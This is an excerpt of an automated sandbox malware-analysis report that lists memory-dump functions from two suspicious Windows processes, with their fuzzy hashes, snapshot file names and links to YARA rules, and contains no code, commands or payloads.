Instruction ID: 674980a73297267ad25fc8ed3bdb6f3abab2d8d8a03b6efb750c3d2ba5c2159b
Opcode Fuzzy Hash: c55a5fa89aa64ba0fa6569e1d449cb6a9e8632dc48d4bf5d4b691abda2b9a842
Instruction Fuzzy Hash: 83019231F1AA5C4FEF59EBE894616ECBBA0EF59310B15007AD05DD72E3DD2969028740

Function 00007FFD9BA9108D Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2138babd6393269df33c70c22f90903cf0c61edbff9dcd6e21fed5d9bad06db0
Instruction ID: 1fb6750d69383bcb923a14426451f44f1436daebbe23dc54402921765f2dcbfc
Opcode Fuzzy Hash: 2138babd6393269df33c70c22f90903cf0c61edbff9dcd6e21fed5d9bad06db0
Instruction Fuzzy Hash: BF01D62198E7C52FE76997B04C729A13FA1CF9726070A01FAD089CB5E3CC8E19868361

Function 00007FFD9BE915FE Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d66d0e1be3d100facc801c97502bc4f7c863317770b170053dee9dfff277df4
Instruction ID: bd1d3fda62fc188961fdcf97ddc130193e847b4ad1cb4bcba919fe558dbd7dcf
Opcode Fuzzy Hash: 0d66d0e1be3d100facc801c97502bc4f7c863317770b170053dee9dfff277df4
Instruction Fuzzy Hash: E9F0A471F0CA094FD758EF2898165B973D1EF98325B14053FE44EC36A6DE3169514681

Function 00007FFD9BA90C40 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a383d842328e29cb2996f3aed0e4b126184f4f8c3cf0970009b218db3aa2924d
Instruction ID: e213143ce2dd9893400468673886b981f6a8c28b4f32028ae5d323a7e8b827b4
Opcode Fuzzy Hash: a383d842328e29cb2996f3aed0e4b126184f4f8c3cf0970009b218db3aa2924d
Instruction Fuzzy Hash: AF01AD31A0A78D8FE722DBA8C8911D97FB0EF42214F1641A7D494DB2A2D57466499780

Function 00007FFD9BA93317 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e79311a4592d5cc24c31b2ad37f6be38b45e8dc3caab04695cc344db3d21ecab
Instruction ID: f9827c40ab48458a9b736527916fd553a7f27e83943f8e1b6768632b6b4e19a6
Opcode Fuzzy Hash: e79311a4592d5cc24c31b2ad37f6be38b45e8dc3caab04695cc344db3d21ecab
Instruction Fuzzy Hash: 5F110030E089598FDBA8DB04C895FA973F1EB54315F1185A9D00EE32A1CE75AEC4CF85

Function 00007FFD9BE9B1FF Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1e79d0c1cd8b681760a6360e4864f0f05eafe913baf1c1e5e14e99c09c7adc5
Instruction ID: 12ce153e51aed5225b9a77cac586b7ea63dd58577b28b1429013aeeecf858961
Opcode Fuzzy Hash: d1e79d0c1cd8b681760a6360e4864f0f05eafe913baf1c1e5e14e99c09c7adc5
Instruction Fuzzy Hash: 14F02831B0CA088FD758AF2C58261BD73D1EF99321B00013FE08EC36B2DE3168424381

Function 00007FFD9BA90C48 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5229cd9add9c9f5302313a3fe1b82fc6c74adc3dd82d3e2d64c5b125f154c15d
Instruction ID: 8dd3df4f4383fa37d5c6109f1033fefbf063149a465969b3d313158b46f4507e
Opcode Fuzzy Hash: 5229cd9add9c9f5302313a3fe1b82fc6c74adc3dd82d3e2d64c5b125f154c15d
Instruction Fuzzy Hash: 6401D431A0E78D8FE722DB68C8901DD7FB0EF02314F1641E7D090DB2A2D6746649C780

Function 00007FFD9BE9BC22 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfcba07d8e52ce55f1132811f81fd39efbfcc7d41f8b432c8b9320b6398b0706
Instruction ID: 5730a2a3c555eb90e76d7701927a79934862c61b734ea35524912778671c8852
Opcode Fuzzy Hash: dfcba07d8e52ce55f1132811f81fd39efbfcc7d41f8b432c8b9320b6398b0706
Instruction Fuzzy Hash: 23F0623554F2CE9FD7128BB088659E93FA8EF43214B1A01E6D4958B0B2C96E161AC761

Function 00007FFD9BA93D09 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd233542d1197a8f666320950966509fbf1c2f93546b1e9a1d2a8809b334e580
Instruction ID: ce56baf414407eb11fcbd654ea075ca9d3df2d43fe0b90272871f0457ffcbc0b
Opcode Fuzzy Hash: dd233542d1197a8f666320950966509fbf1c2f93546b1e9a1d2a8809b334e580
Instruction Fuzzy Hash: 74018630A0941E8BEB74AB44D8657F833F0FF54700F1100B9D82ED31B2EE7C6A849A05

Function 00007FFD9BE96D62 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d49a4ffe0a9bd040194d8ce39ad28dbc4ba0323a702d6e171e42cfcbb8314ec
Instruction ID: bb16c1a0d47f328dcca6c8fb5cdef46766812ab8dab0939f1c2545adfa4d68e1
Opcode Fuzzy Hash: 7d49a4ffe0a9bd040194d8ce39ad28dbc4ba0323a702d6e171e42cfcbb8314ec
Instruction Fuzzy Hash: 6CF0C23284F3899FE7229BB088258E53FB8EF42644B1A01F7D495CA0A2C96E170AD351

Function 00007FFD9BE91D32 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4118fe2df007d994d602f19282fffaf62de7b7c49bd0ce050cc74e5c17b3a46f
Instruction ID: c489075a7eaaba4df0e87611e943625ff736fd89c8e178a0f92a304970b38752
Opcode Fuzzy Hash: 4118fe2df007d994d602f19282fffaf62de7b7c49bd0ce050cc74e5c17b3a46f
Instruction Fuzzy Hash: 47F0623554F3C9AFE712CBB088615A97FB8AF42611B1900F6E049CA0B2D56D570AC7A2

Function 00007FFD9BA90C50 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cbee8e404181b4a17bfadae28c4f2ff64367f85f7b9b5a9e77745427aed3101
Instruction ID: 185aecfcc91e1a7d15d3935e6ef7dd0107a6fb04f572e8d035bcfb6d08911644
Opcode Fuzzy Hash: 8cbee8e404181b4a17bfadae28c4f2ff64367f85f7b9b5a9e77745427aed3101
Instruction Fuzzy Hash: DA018F30A0E7898FEB22DBA484941DD7FB0EF02314F1541E6D490DB2A6D5786644C741

Function 00007FFD9BE919F3 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d22a8e422b156d5809998a2f26626c4b4fdbf4edca1dfab634183af3fc6a9455
Instruction ID: e5933c40f8be9eb14453eb8ba93570ff5058f9b451fcb9e165858fa633c46903
Opcode Fuzzy Hash: d22a8e422b156d5809998a2f26626c4b4fdbf4edca1dfab634183af3fc6a9455
Instruction Fuzzy Hash: FD010070A1992C8FDFA8DF08C8A4BA8B7B1FB68301F1041DA800EE3250DB719E84CF01

Function 00007FFD9BA90BB5 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7989595981c1ca71df758204383800d230170be55bc1cd2a850614b9061402d
Instruction ID: 3ab290ecebe68df358a07f2524903d06be5a3bb7f8820810ea45d690cf6cf004
Opcode Fuzzy Hash: c7989595981c1ca71df758204383800d230170be55bc1cd2a850614b9061402d
Instruction Fuzzy Hash: DEF0E521B5F54E8BEA6067B8D8A64687F60BF5A214FC600E2D00CC60E3E98D59998701

Function 00007FFD9BA93DB8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97f8a2abdd1d69e08835a9d10c9ad74a83ce43f0a7dbce24f38052b7efcaebfd
Instruction ID: b706b259ba8000349d228a7bdd7c57421ba2b4ff4df82c7fbf59923d6b960ee8
Opcode Fuzzy Hash: 97f8a2abdd1d69e08835a9d10c9ad74a83ce43f0a7dbce24f38052b7efcaebfd
Instruction Fuzzy Hash: 69F01D30A0A40D8BEA38E788D4657B932E1AF55700F1240B9DC5EC31F3EE686A556945

Function 00007FFD9BE98538 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5edc00a95f9f5cb200fa80ab2f09dd5843d5e05448f2b7b000c26535cdcc6bc9
Instruction ID: fb23215054edbf743f6969061853bb687e54135f1ef4265b9ece0a2719830c46
Opcode Fuzzy Hash: 5edc00a95f9f5cb200fa80ab2f09dd5843d5e05448f2b7b000c26535cdcc6bc9
Instruction Fuzzy Hash: 67F05E22B0F50F8AF73555A494311F92619AF113C1F62193AC40EC66F1ED2B6A0D9292

Function 00007FFD9BE9C91A Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3ea1bcaeec9d4309c6f3c903ab12119c835f283819398aa04fee558f533dad7
Instruction ID: 41cdaaa349653e33d26307090d2c1901ac52f24f89b8fc6c249c2a8e952ef52c
Opcode Fuzzy Hash: d3ea1bcaeec9d4309c6f3c903ab12119c835f283819398aa04fee558f533dad7
Instruction Fuzzy Hash: 27F02B21A0E3DA4FDB329BB44CB11E43BD0DF1731070A06FAC4848B2E3D55536199311

Function 00007FFD9BA910C0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 070e6c5f66494223360fd6c9d1084aa146c42ec6fab2d381158616ab80b7cf2c
Instruction ID: 9117feec3cba0f54dbc99fd54a83e75d681379847f2e939b7e7b1323b570d552
Opcode Fuzzy Hash: 070e6c5f66494223360fd6c9d1084aa146c42ec6fab2d381158616ab80b7cf2c
Instruction Fuzzy Hash: 15E02621B5C94906EB7CA67468B29B07280DB85334B0506B9D01AC62DACC491CC14281

Function 00007FFD9BA96D82 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 249affd7a88c1d9a1bd5e1382f543eda43fb2906d88ec0653c190584254be13a
Instruction ID: a540a8b8b86d01a383715220e19f5961f1f23d4551cd84d21cf1823d7212a501
Opcode Fuzzy Hash: 249affd7a88c1d9a1bd5e1382f543eda43fb2906d88ec0653c190584254be13a
Instruction Fuzzy Hash: CCE01231F0A51E4EF7B4A754C8607FA62A1DF94340F1200B4DA4DD72E1CEB86E806B05

Function 00007FFD9BA90B95 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20056f28f5c8e8269b0aa9eac1031a2c7cb373701acce21d1f9b336049b5c4e8
Instruction ID: df7b6e0988a2187fea18a595e495a1f112a14e9f6707d17c55b2b2e2896cabc4
Opcode Fuzzy Hash: 20056f28f5c8e8269b0aa9eac1031a2c7cb373701acce21d1f9b336049b5c4e8
Instruction Fuzzy Hash: A5D0A73062994E8FCA00A778C8498147BA0FB0F204BD610E1E40CC71A2C50848598740

Function 00007FFD9BE97A57 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3a6f8f7fa89d12063ed55723caf26faa76eafc199f3daeec201ecf4d3fd9cbe
Instruction ID: 28efc9e673ba20eaa7963ea8bbf1daed81b75632f23aeb5347c8dbf83c72330c
Opcode Fuzzy Hash: f3a6f8f7fa89d12063ed55723caf26faa76eafc199f3daeec201ecf4d3fd9cbe
Instruction Fuzzy Hash: 7DD02B22F0F3894BE73606B008720F81D849F2B380B0B02B6D11B4A2F3DA893B0D8325

Function 00007FFD9BE92A27 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf5084ad03804ed84f4ffcebb35666a17979bf18def4dc133a96e6394a65f25c
Instruction ID: 9e1d190d4c2ac05518bbf86c93da37537c96a68574d3baf8ad7a2ac15f208ec1
Opcode Fuzzy Hash: cf5084ad03804ed84f4ffcebb35666a17979bf18def4dc133a96e6394a65f25c
Instruction Fuzzy Hash: BBD01252F0F7894BEF3E16F408724791B548F2B38071746BAD5574A2E3D98A29095311

Function 00007FFD9BA906AD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33790b693b33e3520821af63ad25aeeed2eec822eedf587a6f43cf9c169c737b
Instruction ID: e3b99b893ff219eb93466901df1bfac327fb6bf979c14e80678ff60331c55bd0
Opcode Fuzzy Hash: 33790b693b33e3520821af63ad25aeeed2eec822eedf587a6f43cf9c169c737b
Instruction Fuzzy Hash: BFC08C06F1B51F00E43033EE24220BCB1004BC8EA0FD30032D60C800B1ACCD22D5218E

Function 00007FFD9BE9169A Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31cdb1e4076b20836e4751d0d0261ab1218eedbc7529ffbf0c8f9c625aa5a68f
Instruction ID: a8d17af7ce21f1b7e488097ae93e5085b69029d3e59a398cdad7dbfac8a63b4e
Opcode Fuzzy Hash: 31cdb1e4076b20836e4751d0d0261ab1218eedbc7529ffbf0c8f9c625aa5a68f
Instruction Fuzzy Hash: 1CD0C770A0A05DDFD724DB64C154D2937B4EF1134671703F9E45ADB4F1CB25A905CB41

Function 00007FFD9BE9D41B Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65ac8946efe5e384ca0b8681ead1123d5f5a439b512f59d6b7c907cc7b693834
Instruction ID: d07c9f7f3ad28bfd59fad3ec12c059e98bb11399d64e7b5dd6be4969d3ff23ad
Opcode Fuzzy Hash: 65ac8946efe5e384ca0b8681ead1123d5f5a439b512f59d6b7c907cc7b693834
Instruction Fuzzy Hash: 32D09210F0F56B85F5795685813023D91A88F40701FA2843EC49F419E28E1ABB096212

Function 00007FFD9BE9350B Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea5c20fcb8b76b5306e957187c716503f6d1824d91fceffae87dd06519bd4cfa
Instruction ID: b84658de980c6aaad5c2004b9bda2c1d034a113460e21e7aa9a8cb1d02b5df10
Opcode Fuzzy Hash: ea5c20fcb8b76b5306e957187c716503f6d1824d91fceffae87dd06519bd4cfa
Instruction Fuzzy Hash: 95D0C994B0F54F85F63B46C2403023B55E95F08340F62003DC05F858E1CD1FBB096201

Function 00007FFD9BA94848 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae2987a30ad0a5acd2d5dc7ad4d2fc3fd6a562b4cb9412a64fe8098e42eb91cf
Instruction ID: b7d70d53aca82642dc8e953626786980012874b36e5d059a3ec103d133cbca8e
Opcode Fuzzy Hash: ae2987a30ad0a5acd2d5dc7ad4d2fc3fd6a562b4cb9412a64fe8098e42eb91cf
Instruction Fuzzy Hash: B7C04C01F1D81A07E2596214443157E44429F94719F9505B5E51ECB6DECF5C6E0216CB

Function 00007FFD9BA906D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0f5d5a96ac0085cd394bc949c56670d544e71c2d86c442eaaaebd6d5c752576
Instruction ID: b58fe859dd7cd7152c0037ad3b7bd65065940364f69f8eb107b955fad3c77f3d
Opcode Fuzzy Hash: d0f5d5a96ac0085cd394bc949c56670d544e71c2d86c442eaaaebd6d5c752576
Instruction Fuzzy Hash: C2B01204D6740F00E43433FA0852078B0405B4C540FC20070D80C80091A8CD12942286

Function 00007FFD9BE91303 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2ed836dddf3b6d2c52eed97d9508c2a4e239078b9084f5cd4282e747d8636f9
Instruction ID: 5396af9058ddd2080ed8d09741eb36ffc325eb3eef50249f8a56f97d65d1836d
Opcode Fuzzy Hash: e2ed836dddf3b6d2c52eed97d9508c2a4e239078b9084f5cd4282e747d8636f9
Instruction Fuzzy Hash: 89C04CB0B0A409DFEAA0DB58C054A6836E4EF14305B6701F4E009CB5B1CA25ED05D701

Non-executed Functions

Function 00007FFD9BA909B0 Relevance: 5.2, Strings: 4, Instructions: 183COMMON

Download Yara Rule

Strings

c9, xrefs: 00007FFD9BA90B56
#{9, xrefs: 00007FFD9BA90B3E
"s9, xrefs: 00007FFD9BA90B46
!k9, xrefs: 00007FFD9BA90B4E

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: a9edfb1a77798ae986d52796193db4ef566221cc70918a09f3614e1de9b7aec8
Instruction ID: bcefbef09821aa0dcb988512b4936c755ef94f51dc09a2d354732f35588d30e1
Opcode Fuzzy Hash: a9edfb1a77798ae986d52796193db4ef566221cc70918a09f3614e1de9b7aec8
Instruction Fuzzy Hash: 2B418117B0D06659E239B3FD78619ED6B488FA927FB0847B7F46D8D0D78C086085C2E9

Analysis Process: gNKaMdWfDFzDkhEeKzQ.exePID: 8040, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	7.5%
Dynamic/Decrypted Code Coverage:	23.8%
Signature Coverage:	0%
Total number of Nodes:	21
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9BAA0D48 Relevance: 1.5, Strings: 1, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5[_H, xrefs: 00007FFD9BAA0DF3

Memory Dump Source

Source File: 0000000B.00000002.2977501754.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID: 5[_H
API String ID: 0-3279724263
Opcode ID: 009f85525fade73d6fedac918b6db4979f12bb7a36d4f70cb64eacb74faf6544
Instruction ID: e12ff7a0ae34a9be68614d7dec49bd02e8cb6c9e8dd14de917d992aada72ca2c
Opcode Fuzzy Hash: 009f85525fade73d6fedac918b6db4979f12bb7a36d4f70cb64eacb74faf6544
Instruction Fuzzy Hash: A7812461A1DA8D4FE7A9DB6888257A97FE1FF96314F0101BED048DB2E6CBB81811C750

Function 00007FFD9BAE9777 Relevance: 1.7, APIs: 1, Instructions: 225
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2977501754.00007FFD9BADD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BADD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9badd000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0761e939bef854905fe16fafe802fd0a6351416068abd06c612bac7d6b27f596
Instruction ID: 127bb09c7984a7704c2eddf45d28bcf603ad54187038f0bf2322b13bce14f025
Opcode Fuzzy Hash: 0761e939bef854905fe16fafe802fd0a6351416068abd06c612bac7d6b27f596
Instruction Fuzzy Hash: 2D71E0B280E7C84FD707DB649C256E57FB0EF13214F0A41EBD089CB1A3D669594AC762

Function 00007FFD9BAE97A8 Relevance: 1.7, APIs: 1, Instructions: 211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2977501754.00007FFD9BADD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BADD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9badd000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c0e4638750235f65988be7f2bad0073170a03205621ccbc1ac019143249491a
Instruction ID: 68c932f6bd15619a7dd7675c893e75a7d4a7a9e9cb230907d8a77b854c5c5bdb
Opcode Fuzzy Hash: 7c0e4638750235f65988be7f2bad0073170a03205621ccbc1ac019143249491a
Instruction Fuzzy Hash: 4E71CFB280E7C94FD7078B649C256E57FB0EF13214F0A41EBD089CB1A3D6695A4AC762

Function 00007FFD9BAE7425 Relevance: 1.7, APIs: 1, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileTransactedW.KERNEL32 ref: 00007FFD9BAE7529

Memory Dump Source

Source File: 0000000B.00000002.2977501754.00007FFD9BADD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BADD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9badd000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID: CreateFileTransacted
String ID:
API String ID: 2149338676-0
Opcode ID: f7a8e712fef4f86032fb03ee963aceab137ccfef8c9a058fdd720deb046f641e
Instruction ID: 2f9f102a5cf14e6daae09111705f2ea9b7994c5322e378ca87f856d169043932
Opcode Fuzzy Hash: f7a8e712fef4f86032fb03ee963aceab137ccfef8c9a058fdd720deb046f641e
Instruction Fuzzy Hash: 65417C7191CB588FDB58DF589845AE97BF0FBA9720F10426FE489E3251CA70A8458B82

Function 00007FFD9BAE41B2 Relevance: 1.6, APIs: 1, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileTransactedW.KERNEL32 ref: 00007FFD9BAE7529

Memory Dump Source

Source File: 0000000B.00000002.2977501754.00007FFD9BADD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BADD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9badd000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID: CreateFileTransacted
String ID:
